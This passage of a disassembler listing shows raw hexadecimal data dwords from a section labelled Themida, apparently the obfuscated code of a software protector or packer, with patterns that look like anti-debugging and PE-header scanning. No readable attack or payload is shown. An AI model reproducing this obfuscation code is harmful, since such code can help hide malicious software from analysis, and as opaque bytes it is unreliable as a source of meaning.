59507625h, 0E9F98B64h, 13h, 19406561h, 23C32A93h dd 0FB039008h, 53B1277Ch, 5F852A65h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 8BC35747h, 188A0DD5h, 0BD8B4B57h dd 5E2077Dh, 27890Fh, 14E80000h, 0FF000000h, 38574F29h dd 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 5061E206h, 0F7B70F5Fh dd 0B70F515Eh, 0F8BF0FF7h, 8153565Eh, 2A499DCEh, 0E95F5F5Dh dd 0FFFFF740h, 0A61BD89h, 6A6005E2h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F7A4C350h dd 66DD9D39h, 0F980DF81h, 0FEB9FA8Bh, 6AFFFFFFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0F061C353h, 95BC23BEh, 21F38B2Ah, 0E21BF58Dh, 7D8D2905h dd 2105E204h, 0E20B5D8Dh, 0D2816605h, 8D8BFF10h, 5E21BF5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EFC35747h dd 0E5D48F01h, 1E18376h, 34850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0E70E2AC3h dd 0D82BDEB9h, 5E952h, 37D80000h, 584C7057h, 81D9D89h dd 8D8B05E2h, 5E20B5Dh, 13E9h, 857C2100h, 6471F949h, 69185C83h dd 0D619DDDAh, 0FC2DCBF7h, 0F01E183h, 0B85h, 0EE816600h dd 0BD294352h, 5E218D1h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 67C4CC3h, 8177032Ch dd 0FFFEB991h, 8E8FFFFh, 83000000h, 0A7559CBDh, 8BB97EE1h dd 0E2242195h, 8D215B05h, 5E209F9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 55C35141h, 66657F62h, 7B47DE81h dd 9498D89h, 8D2105E2h, 5E204C1h, 31D5B58Bh, 8D8B05E2h dd 5E209F9h, 83C68B66h, 850F01E1h, 2Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 66C35747h, 0BD8B1195h dd 5E22BF5h, 0A558529h, 8D8B05E2h, 5E204C1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1EC35747h, 81663327h dd 83E666C6h, 850F01E1h, 6, 1A799D8Bh, 606105E2h, 6870Fh dd 0CA810000h, 9857195h, 0FFFFFEB9h, 12E9FFh, 0C1540000h dd 383B2DF8h, 58922E4Ah, 0D6C919E6h, 43927B27h, 218D8D21h dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0D2FB09C3h, 15BD9529h, 8D2105E2h, 5E21CDDh dd 19B98589h, 8D8B05E2h, 5E2218Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0EDC35545h, 74238F26h, 1E18302h dd 6850Fh, 0BD010000h, 5E21FC9h, 1CDD8D8Bh, 0E18305E2h dd 0C850F01h, 0F000000h, 688h, 8C0F00h, 61000000h, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 1A5F6C5Ah, 8D31F98Bh, 5E2221Dh, 0FFFFFEB9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 8D9EA03h, 0DAE890BBh, 0DD8D216Ah, 905E200h, 0E223198Dh dd 558D2105h, 6A05E215h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8B59C352h, 0E200DD8Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0E1836057h, 20850F01h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0AF3C356h, 8BFE8BFFh, 0E215558Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0A8BC46E7h dd 81E06F61h, 12E8h, 7782F100h, 48896B86h, 2CB2621h, 0E52C900Bh dd 0FC3F21Eh, 68Dh, 298D2900h, 5E05E209h, 0F01E183h, 1385h dd 0EE900h, 5E700000h, 2D72C18Eh, 538D7D7Dh, 0B4753F21h dd 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 746E6CC3h, 0F377D6Fh, 85C7C6B7h, 5E22121h dd 7D0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 66C35343h, 0FD96B36h, 6A61D7BFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BFB8C356h dd 57C6A71Fh, 9D6107EBh, 0E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0BA6FDBBFh dd 1B2D585Fh, 85017A6Fh, 5E20A89h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 98C35242h, 0BD891AE3h, 5E20C15h dd 0BAC18Bh, 81F008F0h, 0EAh, 14C283F0h, 21319589h, 0EA8305E2h dd 91858D14h, 5005E635h, 35FF64h, 64000000h, 2589h, 0E80000h dd 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h dd 0C88BFFFFh, 2A958589h, 400305E2h, 50B70F3Ch, 3D958906h dd 8B05E214h, 95895050h, 5E21811h, 0F805h, 0C508B00h, 9589D103h dd 5E20E99h, 89085003h, 0E2101595h, 58F6405h, 0 dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0 dd 59000010h, 83C3C033h, 0E21CA1BDh, 840F0005h, 24h, 0A4985C6h dd 684705E2h, 0D49AA7D2h, 16A1B5FFh, 858D05E2h, 5E57A61h dd 6AD0FFh, 8589D0FFh, 5E232A9h, 10E8D38Bh, 0F3000000h dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0E90D78D3h, 10h, 575AF808h dd 0C3790A1Dh, 0D1869D78h, 9C1ACC71h, 0DE95Ah, 59E10000h dd 0C53FB1DBh, 9CE7BBF3h, 817A3667h, 6F59C2h, 38E0F00h dd 0F000000h, 0FF2BF7B7h, 0EE9h, 5ACD2B00h, 570D500Ah dd 1ACF3866h, 8B3186FDh, 0D6B43A1Ch, 0C2FAF381h, 82B13EDCh dd 0C225C381h, 0CF8B5A23h, 8A02EB81h, 0E8604E99h, 11h dd 33A553F1h, 0E45EA66Ch, 0F657DD60h, 64C426A0h, 0D9B70FB4h dd 12E858h, 900E0000h, 2668DCE9h, 0C615749Ch, 0DA213421h dd 43D7A225h, 8153615Ah, 75AB66D6h, 3A048F0Eh, 0F7E18050h dd 8159B458h, 2B0A3AEFh, 81CF8B46h, 2B0A36C7h, 0FF81FC46h dd 0FFFF91C8h, 35850Fh, 60600000h, 10E8h, 0BCD6FC00h, 0F3A513D8h dd 0DF672B9Bh, 0CFF00E3Dh, 8B665862h, 8B6661F2h, 29E961DAh dd 71000000h, 0D93A7796h, 63EF2378h, 1C10042Dh, 0E86F880Fh dd 6, 0B022FD5Eh, 5EFCC1C8h, 0FFFF3EE9h, 8FF4E5FFh, 0B1487981h dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 8B3DB5AAh, 5AF681C0h, 8313B6B8h, 0E21EA9BDh dd 9750005h, 1805BD83h, 740005E2h, 8B535019h, 438B8C0h dd 85890000h, 5E2315Dh, 0B2FA9D8Dh, 0D3FF05E4h, 0BD83585Bh dd 5E21805h, 50177400h, 438B853h, 85890000h, 5E2315Dh dd 0AFE99D8Dh, 0D3FF05E4h, 6A585Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BE4649C3h dd 73687FAFh, 23518501h, 8B6605E2h, 51006AF7h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0BB36B68Ah dd 2A69BD31h, 0C08B05E2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 39C35141h, 0FD8D8999h, 0E805E22Fh, 9C1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F1C35040h dd 456AE418h, 0E8503E8Eh, 14h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h dd 6A5A2D11h, 392BA5FBh, 1F04B966h, 7E9605Eh, 7A000000h dd 4EA00E6Dh, 99B8EAD4h, 6169A564h, 18ED8589h, 6A05E2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8D894AC3h, 5E21BF9h, 3890Fh, 0BF0F0000h, 937E8C8h, 0BE80000h dd 61000000h, 81FA897Dh, 2725613Eh, 73B9B280h, 5F55DA5Ch dd 10E58589h, 0B50905E2h, 5E20A9Dh, 910E8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 89604FBBh, 0E232D1B5h, 85896105h, 5E21FD9h, 1145B589h dd 0DAE805E2h, 6A000008h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0C110C352h, 0EC04399Ch dd 6D150533h, 0D6D78166h, 6185893Ch, 6A05E223h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 872FC351h, 26198D89h, 840F05E2h, 0Fh, 0AE9h, 9F9BB700h dd 108B9368h, 0E887F4FDh, 86Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 6C35646h, 770A5B3Bh, 0BD2960FEh dd 5E21539h, 0E31858Bh, 896105E2h, 0E2065985h, 0B1BD8905h dd 0E805E22Fh, 82Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 64C35242h, 10E098CBh, 89053BB8h, 0E226719Dh dd 5D858905h, 6A05E232h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0B72C357h, 0BD8B65A0h dd 5E20725h, 5E956h, 0C3550000h, 5FFB4B34h, 7C8E8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 57B59998h, 666F4C1Eh, 0F315C681h, 1CD18589h, 0BD8B05E2h dd 5E2153Dh, 10E9h, 10758300h, 6D910527h, 0A5B41433h, 3AF8680Eh dd 77BE8C4h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 4FE57FC3h, 0ED646B53h, 21FD8589h dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0D93EAC3h, 0D217F168h, 0A1B58B0Eh, 0E805E213h dd 725h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0E7C35545h, 89B393D0h, 0E21E899Dh, 0B4C2BF05h dd 85891698h, 5E23249h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0F6C35242h, 0D2E8F37Bh, 6A000006h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 742CC351h, 26ABD6E5h, 0EE9292Dh, 82000000h, 2E41457Fh dd 0D8CA2C5Fh, 772A7F61h, 0F185899Eh, 6A05E21Dh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 69AC350h, 66B2AB22h, 670E8h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 22C41443h dd 38C1BEF1h, 85894871h, 5E23045h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 11C35343h, 0E823E580h, 621h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6DC35747h dd 0FEF0D7E9h, 38716508h, 0AE9B0h, 0EFC10000h, 5680EBB1h dd 38278D89h, 2A798589h, 6A05E2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 4C65E5C3h, 3112DA9Ch dd 0E20E45B5h, 5BBE805h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8D0996C3h, 5E21EE5h dd 1DC98589h, 958905E2h, 5E22521h, 0BD8B5260h, 5E2263Dh dd 7EE86158h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 206FC352h, 0F1A71D7h dd 13E98FA6h, 16000000h, 0DBEF8B80h, 0B3B3E47Fh, 9B002FD0h dd 0EE3E6466h, 85896CC4h, 5E203DDh, 9D8B6060h, 5E21D09h dd 8B616160h, 0E205B99Dh, 26E86105h, 1000005h, 0E20A7DB5h dd 39B50105h, 8905E209h, 0E21D0585h, 0B58B6005h, 5E205D1h dd 1889958Bh, 0E86105E2h, 501h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 3EC35343h, 0CD858945h, 6A05E22Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0A812C355h, 5B0C23E7h, 960E1B5h, 0E2063595h dd 0E98D8905h, 6105E22Bh, 0BF0F00B0h, 0D8B60FFEh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BBC35141h, 3C8876EDh dd 0B12AB15Bh, 6BA95h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0BE944BC3h, 0AC290A6Dh dd 0C99589BFh, 8B05E200h, 0FA8B66C3h, 6A04E8C1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F0DC353h, 0F766F3B7h, 55006AE2h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 156BA231h, 0BC2B92B3h, 0A31AEE81h, 0FB8B1AC6h dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 35B8EAC3h, 5059F553h, 5E9h, 0B7BF7500h, 1C89D285h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8D29C8ADh, 5E216E9h, 162195FFh, 0B58905E2h dd 5E20A21h, 15958D5Bh, 6A05E216h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C75BC353h dd 8B977028h, 0E214958Dh, 311A8905h, 0E230898Dh, 6E805h dd 0D5540000h, 2647C710h, 442895Fh, 11D8D8Bh, 8E905E2h dd 7000000h, 0AE7CB40Dh, 8D063BA3h, 0E21A2D95h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 90989B62h, 8FE5BFB3h, 918D0BF9h, 8905E21Fh, 57006A1Ah dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 45048049h, 4428938h, 68E0Fh, 0BD8B0000h, 5E200D9h, 2CA9958Dh dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 21EDBCC3h, 814EC711h, 0B1B0B6D7h, 6A1A893Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 74BAC357h, 897B02DBh, 0C7810442h, 11892B7Bh dd 66D958Dh, 8D8B05E2h, 5E20611h, 1ECD9D01h, 1A8905E2h dd 89F6BF0Fh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 9C3A60C3h, 0F98B7A48h, 80CDF413h dd 0BE6655EDh, 958DB5EAh, 5E2326Dh, 1A019D31h, 1A8905E2h dd 89C88B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 7B650AC3h, 664ED958h, 8D0493B9h dd 0E2151995h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0C31E0403h, 5500A9B7h dd 14E8C1E3h, 10000000h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h dd 4D7100A5h, 0E9E8E707h, 12h, 1D0D6612h, 266AA778h, 0AA93998Eh dd 0E1995C92h, 895FF2B8h, 1995091Ah, 8905E230h, 6A0442h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 6756A6C3h, 958DC88Bh, 5E21995h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0CCC35242h, 1CA60A48h, 31BD8BC5h dd 8905E225h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8145A9E2h, 80AB07D7h, 0FE80Ch, 0C3CD0000h dd 4376166Ch, 0BF017F5Eh, 3E7CA423h, 2860FB6h, 8B000000h dd 42895EF1h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 4BEBB2EEh, 8DEC0F40h, 0E2140995h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C068266Ch, 3B0C8314h, 1B00DF81h, 81601304h dd 0DF1DDAD2h, 25B58B17h, 6105E22Bh, 6A1A89h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0B4EC57C3h dd 668F43DDh, 81E576A0h, 68691BEFh, 4428975h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9BC35141h, 0A6625279h dd 898728E4h, 0E2236DB5h, 10DE905h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 90E8BDC3h dd 0FF20C723h, 2890F60h, 0B5000000h, 0F576053h, 83h, 880F5A00h dd 16h, 10E8h, 0A8C32900h, 0B63F4C4Eh, 0B553C1D1h, 0E771AC9h dd 89615BAAh, 0E20191B5h, 6A006A05h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A8C0C356h dd 663DC445h, 6AF98Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0B9C35545h, 22E98D8Bh, 0BD8B05E2h, 5E21D09h dd 0F18B006Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E9A008C3h, 0Dh, 9F5D9B2Dh, 7948B13Ah dd 2E7DE471h, 0C595FFC3h, 0C305E216h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 11C35141h, 548BE7C0h, 6ECAB287h dd 1880Fh, 8AF90000h, 6AC08BC5h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8343C350h, 0E21EA9BDh dd 9750005h, 1805BD83h, 740005E2h, 8B535019h, 438B8C0h dd 85890000h, 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h, 0BD83585Bh dd 5E21805h, 50177400h, 438B853h, 85890000h, 5E21DD5h dd 0B0029D8Dh, 0D3FF05E4h, 0BE66585Bh, 0BE9CB76h, 58000000h dd 11D3560Ah, 0B43B5901h, 0C08B8712h dword_531F9C dd 0E91858Dh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h ; DATA XREF: Themida_:004EE5D4o dd 150424h, 55450000h, 8B9E8FC3h, 0E20BB59Dh, 14E805h dd 54610000h, 0D0672615h, 9D737D13h, 0C1087A9Fh, 0ECD13B24h dd 9D2BF46Eh, 5E21BCDh, 5751905Bh, 810Fh, 5B5B0000h, 6A9050h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AFC35545h dd 70A636EBh, 85092965h, 5E22465h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 5313DEC3h dd 32419D89h, 0F5F05E2h, 68Bh, 159D8B00h, 8D05E21Eh, 0E644CB85h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 8163E3EFh, 850105C5h, 5E22169h, 6A05C083h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 9BDFC353h, 0B7508F67h, 24048994h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7BC35646h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 9722FAC3h, 0BE9006Ah, 19000000h, 80415F39h, 0F1B7FBCCh dd 0DA8B1AA4h, 1E2D95FFh, 0BD8B05E2h, 5E21D35h, 9D808D8Dh dd 9D8B05E5h, 5E22499h, 0BB66D1FFh, 0BD830BA9h, 5E200B9h dd 63850F01h, 6A000000h, 0D5852902h, 9005E20Ch, 9E9h, 663D4700h dd 5491966h, 52503743h, 4808BF66h, 6A905Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0FAADDFC3h dd 19BD89EDh, 6005E20Ah, 89958B60h, 6605E22Ah, 2961C18Bh dd 0E2113595h, 95FF6105h, 5E214E9h, 331DB589h db 0E2h, 5 word_532182 dw 92E9h ; DATA XREF: Themida_:004EFE20o dd 0E800000Dh, 0 dd 0D5ED815Dh, 0E905E644h, 8, 571DD274h, 136F6A36h, 9D78166h dd 9E858D01h, 8905E58Eh, 0E226A1BDh, 60605005h, 6AEEBF66h dd 61CF8B66h, 8961CA8Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0C000CEC3h, 35FF643Ch dd 0 dd 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 2AF3C357h, 0E9B9A123h dd 14h, 14C3F5F5h, 5AE5F044h, 21EF7132h, 0E5A08B83h, 0FB83510Ah dd 1B599589h, 85FF05E2h, 5E22329h, 100DBD23h, 0FF6A05E2h dd 0FFD98B66h, 0E218EDB5h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F877D7Fh dd 0C381FEBFh, 207BF862h, 189D95FFh, 0F6E905E2h, 0F000000h dd 68Eh, 0DDBD8B00h, 0B005E216h, 65BD8B00h, 0E605E200h dd 859D8970h, 0E405E216h, 75BD3371h, 3C05E22Bh, 0CA830F61h dd 0F000000h, 0B60FF8BFh, 6BAC8h, 8BF80000h, 7D93BFC1h dd 0E8C12A6Eh, 0E2F76604h, 0CD9856BBh, 81C82B24h, 2D26AEF3h dd 80D18B35h, 3E98CF3h, 66000000h, 858BDF8Bh, 5E21615h dd 12E860h, 3B6E0000h, 0AC0F0023h, 0FA9DC425h, 5478947Dh dd 0E79C6712h, 61F85AFCh, 0C87EC781h, 0C08317A7h, 0BE907h dd 7ACA0000h, 0CF4EBD95h, 8CFD1850h, 0C0833Fh, 2CFDB589h dd 0D03B05E2h, 1A830Fh, 8A0F0000h, 4, 2AAEBF66h, 3CE9h dd 758D3100h, 6605E208h, 0A12F381h, 4C18D8Bh, 8B6605E2h dd 1E183FEh, 1F840Fh, 0BD8B0000h, 5E2168Dh, 4C1A583h, 89FE05E2h dd 0E2161595h, 1800F05h, 0F5000000h, 0E9h, 0EAB58D00h dd 6A05E5D1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0F6D6C353h, 452B81D1h, 89174325h dd 0E223C9B5h, 81006A05h, 0D72FF1E3h, 0B995FF17h, 0F05E20Ah dd 688h, 0BF665600h, 0B95BBD49h, 6CAh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 98C35646h, 0E5BFB390h, 0FCE1838Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6CC35545h dd 0E571F1BFh, 6AFC4Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0BD939AC3h, 15D35AECh, 89C02BF5h dd 0E211359Dh, 0E8D22B05h, 10h, 6E69247Fh, 4736AA0Fh, 59A5112Fh dd 0E5202D67h, 0C233AD5Bh, 0D003E8D1h, 7504E983h, 51006AF4h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8B6663F3h, 419D01F8h, 0D05E215h, 88h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 79C35343h, 0B07F4706h dd 0FB8B664Fh, 0BE9958Bh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0D26CFFC3h, 0ED9E28C5h dd 11E8E5DBh, 0C0000000h, 0A223BDE8h, 844E5035h, 0BF1954B5h dd 496875CBh, 0D22CBB66h, 618D8B5Fh, 5005E207h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4D8B8EC8h dd 6DD12A89h, 820F0D73h, 6, 1801B589h, 0BD8305E2h, 5E20D79h dd 70840F00h, 66000000h, 0F58CF781h, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0C0776CB2h, 8BFE04Dh, 3850F60h, 0F000000h, 0B866F2B7h dd 8D615F18h, 0E24C428Dh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 72F6E92Ah dd 0E1FF54BCh, 0F121C1BBh, 0BD953110h, 8305E21Fh, 0E21B55BDh dd 840F0005h, 403h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0BCC35141h, 0CCC7AFF6h, 36F97410h, 3261BD89h dd 0BD3305E2h, 5E205A9h, 1B55BD83h, 0F0105E2h, 3E184h dd 0E1B58900h, 8305E219h, 0E21B55BDh, 860F0305h, 398h dd 2471BD8Bh, 6A6005E2h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 42AC353h, 66D98B27h dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 59ABDFC3h, 80AAD83Dh, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 651E4EC3h dd 2F95BD29h, 800F05E2h, 5, 0D0C38166h, 0FC90AAEh, 11984h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 7A50418Fh, 0A7D9F3C3h, 12E935h, 0C6120000h dd 89FC4420h, 3E16043Bh, 0C2CDA3A8h, 5FEF8F22h, 241D858Bh dd 800F05E2h, 0 dd 2AA98533h, 0E89005E2h, 5, 0E2C20D1Dh, 0FA8B6645h, 5E9505Fh dd 3E000000h, 91388892h, 0BD9D8B90h, 6A05E204h, 445CBB00h dd 166825DEh, 50E2E43Eh, 0F7BB752h, 8E831h, 3BA60000h dd 7B7B3E3Bh, 0E6BF9786h, 5F07C0FCh, 481585Ah, 3AC5E924h dd 7CD6BF1Dh, 95FF6BC4h, 5E20839h, 6E9FE8Bh, 0EE000000h dd 45236EF5h, 9D85896Dh, 6A05E5BBh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2353C355h dd 6860Fh, 9D010000h, 5E20E4Dh, 1A3E9h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E9D3AB09h, 0Eh, 0D9415608h, 0E1CF4535h, 8A71E796h dd 858B6B74h, 5E5BB95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 89C35747h, 8BDC0C76h, 0E21CD5BDh, 0ED8D8905h dd 0C705E22Ah, 1800h, 0C7816600h, 0B58B5E6Bh, 5E5BB99h dd 8BF9B70Fh, 0E200F985h, 0DA8A6005h, 8B068961h, 0E21379BDh dd 1D858B05h, 6A05E224h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0F0C4C357h, 0AA66A965h dd 9D035157h, 5E20C71h, 446895Fh, 152D9D23h, 0BF5005E2h dd 29F95FB1h, 29243489h, 0E226A1B5h, 95B5FF05h, 5005E5BBh dd 178E0Fh, 11E80000h, 5E000000h, 0C66C5322h, 6446DF6Ah dd 2F2BA31Eh, 9DE03B35h, 38685B5Bh, 52057C87h, 0D22AC8BBh dd 34815F24h, 6384C724h, 0BB665705h, 8D5FF57Dh, 0E5BB9D85h dd 9D8B5305h, 5E20D25h, 5250905Bh, 0BE85250h, 93000000h dd 127E98C9h, 92F0F99h, 0F5B486Ah, 0F525031h, 5A585A31h dd 5A310F58h, 52505058h, 8B66310Fh, 90585AFAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 58C35545h, 1E9FA151h dd 1D9D8B84h, 8B05E209h, 3995FFFBh, 6A05E208h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 553DC356h, 0DAB13CBEh, 8AAC4C15h, 0FE8B66DCh, 0F59D0161h dd 0C705E208h, 0E21B5585h, 305h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD83326Bh dd 5E5BB9Dh, 4D840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C5CCC352h dd 80FE0F62h, 40E932EFh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 60AAC357h dd 0F07685A3h, 417EB947h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 